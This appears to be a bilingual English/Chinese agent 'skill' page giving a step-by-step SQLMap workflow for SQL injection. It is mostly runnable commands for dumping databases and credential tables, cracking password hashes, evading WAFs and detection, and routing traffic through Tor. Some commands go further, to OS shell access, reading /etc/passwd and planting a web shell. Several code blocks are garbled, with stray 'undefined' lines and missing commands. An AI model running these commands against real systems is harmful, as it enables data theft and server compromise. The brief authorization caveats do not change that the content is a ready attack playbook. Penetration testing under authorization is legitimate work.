sqlmap-database-pentesting

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SQLMap Database Penetration Testing

SQLMap 数据库渗透测试

Purpose

用途

Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.
提供使用SQLMap进行自动化SQL注入检测和利用的系统化方法。本技能涵盖数据库枚举、表与列发现、数据提取、多目标指定方法,以及适用于MySQL、PostgreSQL、MSSQL、Oracle等各类数据库管理系统的高级利用技术。

Inputs / Prerequisites

输入/前置条件

  • Target URL: Web application URL with injectable parameter (e.g.,
    ?id=1
    )
  • SQLMap Installation: Pre-installed on Kali Linux or downloaded from GitHub
  • Verified Injection Point: URL parameter confirmed or suspected to be SQL injectable
  • Request File (Optional): Burp Suite captured HTTP request for POST-based injection
  • Authorization: Written permission for penetration testing activities
  • 目标URL:存在可注入参数的Web应用URL(例如
    ?id=1
  • SQLMap安装:已预安装在Kali Linux中,或从GitHub下载安装
  • 已确认注入点:已确认或疑似存在SQL注入的URL参数
  • 请求文件(可选):Burp Suite捕获的POST类型注入对应的HTTP请求
  • 授权:已获得渗透测试活动的书面许可

Outputs / Deliverables

输出/交付物

  • Database Enumeration: List of all databases on the target server
  • Table Structure: Complete table names within target database
  • Column Mapping: Column names and data types for each table
  • Extracted Data: Dumped records including usernames, passwords, and sensitive data
  • Hash Values: Password hashes for offline cracking
  • Vulnerability Report: Confirmation of SQL injection type and severity
  • 数据库枚举结果:目标服务器上所有数据库的列表
  • 表结构:目标数据库内的完整表名列表
  • 列映射:每个表的列名和数据类型
  • 提取的数据:导出的记录,包含用户名、密码及其他敏感数据
  • 哈希值:可用于离线破解的密码哈希
  • 漏洞报告:SQL注入类型和严重程度的确认结果

Core Workflow

核心工作流

1. Identify SQL Injection Vulnerability

1. 识别SQL注入漏洞

Manual Verification

手动验证

bash
undefined
bash
undefined

Add single quote to break query

添加单引号破坏查询语句

If error message appears, likely SQL injectable

如果出现错误提示,则大概率存在SQL注入

Error example: "You have an error in your SQL syntax"

错误示例:"You have an error in your SQL syntax"

undefined
undefined

Initial SQLMap Scan

初始SQLMap扫描

bash
undefined
bash
undefined

Basic vulnerability detection

基础漏洞检测

With verbosity for detailed output

开启详细输出模式

sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
undefined
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
undefined

2. Enumerate Databases

2. 枚举数据库

List All Databases

列出所有数据库

bash
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
Key Options:
  • -u
    : Target URL with injectable parameter
  • --dbs
    : Enumerate database names
  • --batch
    : Use default answers (non-interactive mode)
bash
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
关键参数:
  • -u
    :携带可注入参数的目标URL
  • --dbs
    :枚举数据库名称
  • --batch
    :使用默认答案(非交互模式)

3. Enumerate Tables

3. 枚举数据表

List Tables in Specific Database

列出指定数据库中的所有表

bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
Key Options:
  • -D
    : Specify target database name
  • --tables
    : Enumerate table names
bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
关键参数:
  • -D
    :指定目标数据库名称
  • --tables
    :枚举表名称

4. Enumerate Columns

4. 枚举数据列

List Columns in Specific Table

列出指定表中的所有列

bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
Key Options:
  • -T
    : Specify target table name
  • --columns
    : Enumerate column names
bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
关键参数:
  • -T
    :指定目标表名称
  • --columns
    :枚举列名称

5. Extract Data

5. 提取数据

Dump Specific Table Data

导出指定表的数据

bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch

Dump Specific Columns

导出指定列的数据

bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch

Dump Entire Database

导出整个数据库的数据

bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
Key Options:
  • --dump
    : Extract all data from specified table
  • --dump-all
    : Extract all data from all tables
  • -C
    : Specify column names to extract
bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
关键参数:
  • --dump
    :提取指定表的所有数据
  • --dump-all
    :提取所有表的所有数据
  • -C
    :指定要提取的列名称

6. Advanced Target Options

6. 高级目标选项

Target from HTTP Request File

从HTTP请求文件导入目标

bash
undefined
bash
undefined

Save Burp Suite request to file, then:

保存Burp Suite请求到文件后执行:

sqlmap -r /path/to/request.txt --dbs --batch
undefined
sqlmap -r /path/to/request.txt --dbs --batch
undefined

Target from Log File

从日志文件导入目标

bash
undefined
bash
undefined

Feed log file with multiple requests

传入包含多个请求的日志文件

sqlmap -l /path/to/logfile --dbs --batch
undefined
sqlmap -l /path/to/logfile --dbs --batch
undefined

Target Multiple URLs (Bulk File)

批量导入多个URL目标

bash
undefined
bash
undefined

Create file with URLs, one per line:

创建存储URL的文件,每行一个URL:

sqlmap -m /path/to/bulkfile.txt --dbs --batch
undefined
sqlmap -m /path/to/bulkfile.txt --dbs --batch
undefined

Target via Google Dorks (Use with Caution)

通过Google Dork指定目标(谨慎使用)

bash
undefined
bash
undefined

Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)

自动查找并测试存在漏洞的站点(仅允许测试合法目标)

sqlmap -g "inurl:?id= site:yourdomain.com" --batch
undefined
sqlmap -g "inurl:?id= site:yourdomain.com" --batch
undefined

Quick Reference Commands

快速参考命令

Database Enumeration Progression

数据库枚举流程

StageCommand
List Databases
sqlmap -u "URL" --dbs --batch
List Tables
sqlmap -u "URL" -D dbname --tables --batch
List Columns
sqlmap -u "URL" -D dbname -T tablename --columns --batch
Dump Data
sqlmap -u "URL" -D dbname -T tablename --dump --batch
Dump All
sqlmap -u "URL" -D dbname --dump-all --batch
阶段命令
列出数据库
sqlmap -u "URL" --dbs --batch
列出数据表
sqlmap -u "URL" -D dbname --tables --batch
列出数据列
sqlmap -u "URL" -D dbname -T tablename --columns --batch
导出数据
sqlmap -u "URL" -D dbname -T tablename --dump --batch
导出全部数据
sqlmap -u "URL" -D dbname --dump-all --batch

Supported Database Management Systems

支持的数据库管理系统

DBMSSupport Level
MySQLFull Support
PostgreSQLFull Support
Microsoft SQL ServerFull Support
OracleFull Support
Microsoft AccessFull Support
IBM DB2Full Support
SQLiteFull Support
FirebirdFull Support
SybaseFull Support
SAP MaxDBFull Support
HSQLDBFull Support
InformixFull Support
DBMS支持程度
MySQL完全支持
PostgreSQL完全支持
Microsoft SQL Server完全支持
Oracle完全支持
Microsoft Access完全支持
IBM DB2完全支持
SQLite完全支持
Firebird完全支持
Sybase完全支持
SAP MaxDB完全支持
HSQLDB完全支持
Informix完全支持

SQL Injection Techniques

SQL注入技术

TechniqueDescriptionFlag
Boolean-based blindInfers data from true/false responses
--technique=B
Time-based blindUses time delays to infer data
--technique=T
Error-basedExtracts data from error messages
--technique=E
UNION query-basedUses UNION to append results
--technique=U
Stacked queriesExecutes multiple statements
--technique=S
Out-of-bandUses DNS or HTTP for exfiltration
--technique=Q
技术描述参数
布尔型盲注通过真/假响应推断数据
--technique=B
时间型盲注通过时间延迟推断数据
--technique=T
报错型注入从错误信息中提取数据
--technique=E
UNION查询注入使用UNION拼接查询结果
--technique=U
堆叠查询注入执行多条SQL语句
--technique=S
外带注入通过DNS或HTTP外带数据
--technique=Q

Essential Options

常用参数

OptionDescription
-u
Target URL
-r
Load HTTP request from file
-l
Parse targets from Burp/WebScarab log
-m
Bulk file with multiple targets
-g
Google dork (use responsibly)
--dbs
Enumerate databases
--tables
Enumerate tables
--columns
Enumerate columns
--dump
Dump table data
--dump-all
Dump all database data
-D
Specify database
-T
Specify table
-C
Specify columns
--batch
Non-interactive mode
--random-agent
Use random User-Agent
--level
Level of tests (1-5)
--risk
Risk of tests (1-3)
参数描述
-u
目标URL
-r
从文件加载HTTP请求
-l
从Burp/WebScarab日志中解析目标
-m
批量导入多个目标的文件
-g
Google dork(请负责任使用)
--dbs
枚举数据库
--tables
枚举数据表
--columns
枚举数据列
--dump
导出表数据
--dump-all
导出所有数据库数据
-D
指定数据库
-T
指定数据表
-C
指定数据列
--batch
非交互模式
--random-agent
使用随机User-Agent
--level
测试等级(1-5)
--risk
测试风险等级(1-3)

Constraints and Limitations

约束与限制

Operational Boundaries

操作边界

  • Requires valid injectable parameter in target URL
  • Network connectivity to target database server required
  • Large database dumps may take significant time
  • Some WAF/IPS systems may block SQLMap traffic
  • Time-based attacks significantly slower than error-based
  • 目标URL中需要存在有效的可注入参数
  • 需要与目标数据库服务器保持网络连通
  • 导出大型数据库可能需要耗费大量时间
  • 部分WAF/IPS系统可能会拦截SQLMap流量
  • 时间型注入的速度远慢于报错型注入

Performance Considerations

性能注意事项

  • Use
    --threads
    to speed up enumeration (default: 1)
  • Limit dumps with
    --start
    and
    --stop
    for large tables
  • Use
    --technique
    to specify faster injection method if known
  • 使用
    --threads
    参数加快枚举速度(默认:1)
  • 对大型表使用
    --start
    --stop
    限制导出范围
  • 如果已知注入方式,可使用
    --technique
    指定更快的注入方法

Legal Requirements

法律要求

  • Only test systems with explicit written authorization
  • Google dork attacks against unknown sites are illegal
  • Document all testing activities and findings
  • Respect scope limitations defined in engagement rules
  • 仅可对已获得明确书面授权的系统进行测试
  • 对未知站点使用Google dork攻击属于违法行为
  • 需记录所有测试活动和发现结果
  • 遵守测试约定中定义的范围限制

Detection Risk

检测风险

  • SQLMap generates significant log entries
  • Use
    --random-agent
    to vary User-Agent header
  • Consider
    --delay
    to avoid triggering rate limits
  • Proxy through Tor with
    --tor
    for anonymity (authorized tests only)
  • SQLMap会生成大量日志条目
  • 使用
    --random-agent
    修改User-Agent请求头
  • 可考虑使用
    --delay
    参数避免触发速率限制
  • (仅授权测试)可通过
    --tor
    参数代理流量实现匿名

Examples

示例

Example 1: Complete Database Enumeration

示例1:完整数据库枚举

bash
undefined
bash
undefined

Step 1: Discover databases

步骤1:发现数据库

Result: acuart database found

结果:发现acuart数据库

Step 2: List tables

步骤2:列出数据表

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch

Result: users, products, carts, etc.

结果:users、products、carts等表

Step 3: List columns

步骤3:列出数据列

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch

Result: username, password, email columns

结果:username、password、email列

Step 4: Dump user credentials

步骤4:导出用户凭证

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
undefined
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
undefined

Example 2: POST Request Injection

示例2:POST请求注入

bash
undefined
bash
undefined

Save Burp request to file (login.txt):

保存Burp请求到文件(login.txt):

POST /login.php HTTP/1.1

POST /login.php HTTP/1.1

Host: target.com

Host: target.com

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

username=admin&password=test

username=admin&password=test

Run SQLMap with request file

使用请求文件运行SQLMap

sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
undefined
sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
undefined

Example 3: Bulk Target Scanning

示例3:批量目标扫描

bash
undefined
bash
undefined

Create bulkfile.txt:

创建bulkfile.txt:

Scan all targets

扫描所有目标

sqlmap -m bulkfile.txt --dbs --batch
undefined
sqlmap -m bulkfile.txt --dbs --batch
undefined

Example 4: Aggressive Testing

示例4:高强度测试

bash
undefined
bash
undefined

High level and risk for thorough testing

最高等级和风险的全面测试

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3

Specify all techniques

指定所有注入技术

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
undefined
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
undefined

Example 5: Extract Specific Credentials

示例5:提取指定凭证

bash
undefined
bash
undefined

Target specific columns

目标指定列

sqlmap -u "http://target.com/page.php?id=1"
-D webapp
-T admin_users
-C admin_name,admin_pass,admin_email
--dump --batch
sqlmap -u "http://target.com/page.php?id=1"
-D webapp
-T admin_users
-C admin_name,admin_pass,admin_email
--dump --batch

Automatically crack password hashes

自动破解密码哈希

sqlmap -u "http://target.com/page.php?id=1"
-D webapp
-T users
--dump --batch
--passwords
undefined
sqlmap -u "http://target.com/page.php?id=1"
-D webapp
-T users
--dump --batch
--passwords
undefined

Example 6: OS Shell Access (Advanced)

示例6:OS Shell访问(高级)

bash
undefined
bash
undefined

Get interactive OS shell (requires DBA privileges)

获取交互式OS Shell(需要DBA权限)

sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch

Execute specific OS command

执行指定OS命令

sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch

File read from server

读取服务器文件

sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch

File upload to server

上传文件到服务器

sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
undefined
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
undefined

Troubleshooting

问题排查

Issue: "Parameter does not seem injectable"

问题:"Parameter does not seem injectable"

Cause: SQLMap cannot find injection point Solution:
bash
undefined
原因:SQLMap无法找到注入点 解决方案
bash
undefined

Increase testing level and risk

提高测试等级和风险等级

sqlmap -u "URL" --dbs --batch --level=5 --risk=3
sqlmap -u "URL" --dbs --batch --level=5 --risk=3

Specify parameter explicitly

显式指定参数

sqlmap -u "URL" -p "id" --dbs --batch
sqlmap -u "URL" -p "id" --dbs --batch

Try different injection techniques

尝试不同的注入技术

sqlmap -u "URL" --dbs --batch --technique=BT
sqlmap -u "URL" --dbs --batch --technique=BT

Add prefix/suffix for filter bypass

添加前缀/后缀绕过过滤

sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"
undefined
sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"
undefined

Issue: Target Behind WAF/Firewall

问题:目标处于WAF/防火墙后

Cause: Web Application Firewall blocking requests Solution:
bash
undefined
原因:Web应用防火墙拦截了请求 解决方案
bash
undefined

Use tamper scripts

使用tamper脚本

sqlmap -u "URL" --dbs --batch --tamper=space2comment
sqlmap -u "URL" --dbs --batch --tamper=space2comment

List available tamper scripts

列出可用的tamper脚本

sqlmap --list-tampers
sqlmap --list-tampers

Common tamper combinations

常用tamper组合

sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase
sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase

Add delay between requests

添加请求间隔延迟

sqlmap -u "URL" --dbs --batch --delay=2
sqlmap -u "URL" --dbs --batch --delay=2

Use random User-Agent

使用随机User-Agent

sqlmap -u "URL" --dbs --batch --random-agent
undefined
sqlmap -u "URL" --dbs --batch --random-agent
undefined

Issue: Connection Timeout

问题:连接超时

Cause: Network issues or slow target Solution:
bash
undefined
原因:网络问题或目标响应缓慢 解决方案
bash
undefined

Increase timeout

增加超时时间

sqlmap -u "URL" --dbs --batch --timeout=60
sqlmap -u "URL" --dbs --batch --timeout=60

Reduce threads

减少线程数

sqlmap -u "URL" --dbs --batch --threads=1
sqlmap -u "URL" --dbs --batch --threads=1

Add retries

增加重试次数

sqlmap -u "URL" --dbs --batch --retries=5
undefined
sqlmap -u "URL" --dbs --batch --retries=5
undefined

Issue: Time-Based Attacks Too Slow

问题:时间型注入速度过慢

Cause: Default time delay too conservative Solution:
bash
undefined
原因:默认时间延迟设置过于保守 解决方案
bash
undefined

Reduce time delay (risky, may cause false negatives)

减少时间延迟(有风险,可能导致误报)

sqlmap -u "URL" --dbs --batch --time-sec=3
sqlmap -u "URL" --dbs --batch --time-sec=3

Use boolean-based instead if possible

尽可能改用布尔型注入

sqlmap -u "URL" --dbs --batch --technique=B
undefined
sqlmap -u "URL" --dbs --batch --technique=B
undefined

Issue: Cannot Dump Large Tables

问题:无法导出大型表

Cause: Table has too many records Solution:
bash
undefined
原因:表包含的记录数过多 解决方案
bash
undefined

Limit number of records

限制导出的记录数

sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100
sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100

Dump specific columns only

仅导出指定列

sqlmap -u "URL" -D db -T table -C username,password --dump --batch
sqlmap -u "URL" -D db -T table -C username,password --dump --batch

Exclude specific columns

排除系统数据库

sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs
undefined
sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs
undefined

Issue: Session Drops During Long Scan

问题:长时间扫描过程中会话断开

Cause: Session timeout or connection reset Solution:
bash
undefined
原因:会话超时或连接被重置 解决方案
bash
undefined

Save and resume session

保存会话

sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session
sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session

Resume from saved session

从保存的会话恢复

sqlmap -u "URL" --dbs --batch --resume
sqlmap -u "URL" --dbs --batch --resume

Use persistent HTTP connection

使用持久HTTP连接

sqlmap -u "URL" --dbs --batch --keep-alive
undefined
sqlmap -u "URL" --dbs --batch --keep-alive
undefined

When to Use

适用场景

This skill is applicable to execute the workflow or actions described in the overview.
本技能适用于执行概述中描述的工作流或操作。